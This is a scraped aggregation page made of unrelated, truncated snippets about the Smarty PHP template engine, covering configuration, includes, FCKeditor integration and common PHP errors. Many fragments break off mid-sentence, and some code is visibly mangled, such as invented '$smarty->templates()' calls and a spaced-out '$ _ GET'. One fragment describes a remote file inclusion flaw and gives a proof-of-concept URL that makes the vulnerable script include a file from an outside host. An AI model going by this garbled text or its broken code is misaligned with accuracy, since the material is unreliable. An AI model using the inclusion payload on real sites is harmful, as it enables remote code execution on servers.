Dynamic Web page Authoring tips PHP: Learn more thoroughly smarty
Smarty is a PHP template engine that separates logic programs from external content and provides an easy-to-manage approach.
Smarty requires the Web server to run php4.0.6 and later.
/*
* Smarty generates static pages
* Conditions for generating static pages using smarty
* Call the smarty class and configure related attributes
* Use fetch () to generate static pages
*/
// Call the smarty class
Preface
Smarty is an excellent PHP template engine that separates the logical code from the user interface.
Learning and using smarty, there is no cache technology applied to it is a great loss, it can be the user finally see the HMTL file into a
The example of this article tells the method of calling FCKeditor in Smarty, and shares it for everyone's reference. The implementation methods are as follows:
FCKeditor is currently the best online editor on the Internet.
Smarty is a PHP template
The syntax format for the Smarty template contains files is as follows: {include file= $filename variable= $value ...} where $filename is the file name of the file to include, variable and value is a variable setting that replaces the keyword in the
Include_once ("./comm/smarty.class.php"); Contains Smarty class files
$smarty = new Smarty (); Establish a Smarty instance object $smarty
$smarty->templates ("./templates"); Set up template catalogs
$smarty->templates_c ("./templates_c"); Setting up
Because the function is not initialized, the function can include any file;1, register_global = On2, allow_url_fopen = OnThen you can include Poc: www. r0expeR. Net/index. php? Pathdir = http://www.r0expeR.Net/xx.txt
$ Poc = $ _ GET [pathdir];Echo
Build a website using the Zend framework (iii) -- smarty extension 2008/07/24 p.m.
Today, I will summarize the methods for extending the smarty template in the ZF framework. I have provided a detailed introduction in the ZF help document.
Welcome to the Linux community forum and interact with 2 million technical staff. Go to php's smarty simple installation configuration Introduction: 1 first, download: 2 and then install: (1) unzip the file, copy the libs file to the root directory
The method of calling FCKeditor in Smarty, Smartyfckeditor
In this paper, we describe the method of calling FCKeditor in Smarty, and share it for your reference. The implementation method is as follows:
FCKeditor is currently the best online editor
Smarty tutorial (basic syntax) 1. smarty configuration
First, the first thing to do with smarty is to configure it first. there are usually the following nine lines of code:
Require_once ("smarty/libs/Smarty_class.php"); // include the smarty class
As we can see, the smarty program is actually a set of code that complies with the php language specification. let's explain it one by one: 1. /**/Statement we can see that the smarty program is actually a set of code conforming to the php language
Common PHP errors analysis:
PHP common errors:
1. Syntax errorParse error: syntax error, unexpected T_VARIABLE in E: \ guestbook \ user. php on line 268Generally, it is less than a semicolon, which is possible in the previous or next line.
Parse
What is a template? My understanding is to separate the interface from the implementation code,
This aims to separate the work of the artist and the programmer, improve work efficiency, and facilitate later maintenance.
PHP also has many templates,
Smarty simple template variable output method original, smartyfont
This article briefly describes the template variable output method of Smarty. We will share this with you for your reference. The details are as follows:
The config. inc. php
Php template smarty. The template technology of the php template smartyphp should be mentioned frequently. like the famous phplibfasttemplate, the MVC model is basically implemented, and the work cannot be solved, now let's talk about the php
Using the Smarty template, Smarty class files in the Libs directory, the Libs directory is copied to the current directory of the workspace, set up templates and Templates_c folders, can also be specified by the code, the system default directory is
Smarty calls the FCKeditor method, smartyfckeditor. Smarty calls the FCKeditor method. smartyfckeditor in this article describes how Smarty calls the FCKeditor method for your reference. The specific implementation method is as follows: FCKeditor is
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.